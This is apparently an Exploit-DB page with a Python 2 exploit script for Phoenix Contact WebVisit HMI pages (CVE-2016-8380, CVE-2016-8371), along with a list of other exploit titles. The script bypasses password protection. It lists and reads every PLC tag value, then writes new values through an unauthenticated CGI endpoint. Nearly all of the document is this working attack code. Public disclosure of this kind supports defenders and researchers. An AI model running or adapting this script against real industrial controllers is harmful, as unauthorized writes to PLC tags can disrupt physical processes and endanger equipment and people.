9d143a6b42
22 changes to exploits/shellcodes Microsoft SQL Server Management Studio 17.9 - XML External Entity Injection Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection Microsoft SQL Server Management Studio 17.9 - '.xmla' XML External Entity Injection Wikidforum 2.20 - Cross-Site Scripting WAGO 750-881 01.09.18 - Cross-Site Scripting E-Registrasi Pencak Silat 18.10 - 'id_partai' SQL Injection jQuery-File-Upload 9.22.0 - Arbitrary File Upload Phoenix Contact WebVisit 6.40.00 - Password Disclosure HaPe PKH 1.1 - 'id' SQL Injection LUYA CMS 1.0.12 - Cross-Site Scripting Phoenix Contact WebVisit 2985725 - Authentication Bypass HaPe PKH 1.1 - Cross-Site Request Forgery (Update Admin) CAMALEON CMS 2.4 - Cross-Site Scripting HaPe PKH 1.1 - Arbitrary File Upload SugarCRM 6.5.26 - Cross-Site Scripting FluxBB < 1.5.6 - SQL Injection
93 lines
No EOL
3.4 KiB
Python
Executable file
93 lines
No EOL
3.4 KiB
Python
Executable file
# Exploit Title: Phoenix Contact WebVisit 2985725 - Authentication Bypass
|
|
# Date: 2018-09-30
|
|
# Exploit Author: Deneut Tijl
|
|
# Vendor Homepage: www.phoenixcontact.com
|
|
# Software Link: https://www.phoenixcontact.com/online/portal/nl/?uri=pxc-oc-itemdetail:pid=2985725&library=nlnl&pcck=P-19-05-01&tab=5
|
|
# Version: WebVisit (all versions)
|
|
# CVE : CVE-2016-8380, CVE-2016-8371
|
|
|
|
# Description
|
|
# Script to read and write PLC tags via a Webvisit HMI page (even in case of a password protection)
|
|
# Steps:
|
|
# * Get Project Name: http://<ip>/
|
|
# * Get list of tags: http://<ip>/<projectname>.tcr
|
|
# * Get current values of tags: http://<ip>/cgi-bin/ILRReadValues.exe
|
|
# * Set new tag values: http://<ip>/cgi-bin/writeVal.exe?<tag>+<value> (urlencode!)
|
|
|
|
# CVE-2016-8380-SetPLCValues.py
|
|
|
|
#! /usr/bin/env python
|
|
|
|
import urllib2
|
|
|
|
strIP = raw_input('Please enter an IP [192.168.1.200]: ')
|
|
if strIP == '': strIP = '192.168.1.200'
|
|
|
|
try:
|
|
URLResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/'))
|
|
except urllib2.HTTPError:
|
|
print('#### Critical Error with IP ' + strIP + ': no response')
|
|
raw_input('Press Enter to exit')
|
|
exit()
|
|
|
|
strProject = ''
|
|
for line in URLResponse.readlines():
|
|
if 'ProjectName' in line:
|
|
strProject = line.split('VALUE="')[1].split('"')[0]
|
|
|
|
if strProject == '':
|
|
print('#### Error, no \'ProjectName\' found on the main page')
|
|
raw_input('Press Enter to exit')
|
|
exit()
|
|
|
|
print('---- Found project \'' + strProject + '\', retrieving list of tags')
|
|
|
|
try:
|
|
TagResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/' + strProject + '.tcr'))
|
|
except urllib2.HTTPError:
|
|
print('#### Critical Error with IP ' + strIP + ': /' + strProject + '.tcr not found')
|
|
raw_input('Press Enter to exit')
|
|
exit()
|
|
|
|
arrTagList = []
|
|
for line in TagResponse.readlines():
|
|
if line.startswith('#!-- N ='):
|
|
intNumberOfTags = int(line.split('=')[1])
|
|
print('---- There should be ' + str(intNumberOfTags) + ' tags:')
|
|
if not line.startswith('#'):
|
|
if not line.split(';')[0].strip() == '':
|
|
arrTagList.append(line.split(';')[0].strip())
|
|
print('-- '+line.split(';')[0].strip())
|
|
|
|
|
|
raw_input('Press Enter to query them all')
|
|
import os, urllib
|
|
os.system('cls' if os.name == 'nt' else 'clear')
|
|
strPost = '<body>'
|
|
strPost += '<item_list_size>' + str(len(arrTagList)) + '</item_list_size>'
|
|
strPost += '<item_list>'
|
|
for item in arrTagList:
|
|
strPost += '<i><n>' + item + '</n></i>'
|
|
strPost += '</item_list></body>'
|
|
DataResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/cgi-bin/ILRReadValues.exe', strPost)).read()
|
|
|
|
arrData = []
|
|
for item in DataResponse.split('<i>'):
|
|
if '<n>' in item:
|
|
name = item.split('<n>')[1].split('</n>')[0]
|
|
value = item.split('<v>')[1].split('</v>')[0]
|
|
arrData.append((name,value))
|
|
print('----- Full list of tags and their values:')
|
|
i = 0
|
|
for item in arrData:
|
|
i += 1
|
|
print(str(i) + ': Tag ' + item[0] + ' has value: ' + item[1])
|
|
|
|
ans1 = raw_input('Want to change a tag? Enter a number or press Enter to quit: ')
|
|
if ans1 == '':
|
|
exit()
|
|
strTag = arrData[int(ans1) - 1][0]
|
|
strVal = arrData[int(ans1) - 1][1]
|
|
ans2 = raw_input('Setting value for ' + strTag + ' [' + strVal + ']: ')
|
|
if ans2 == '': ans2 = strVal
|
|
urllib2.urlopen(urllib2.Request('http://' + strIP + '/cgi-bin/writeVal.exe?' + urllib.quote_plus(strTag) + '+' + str(ans2))) |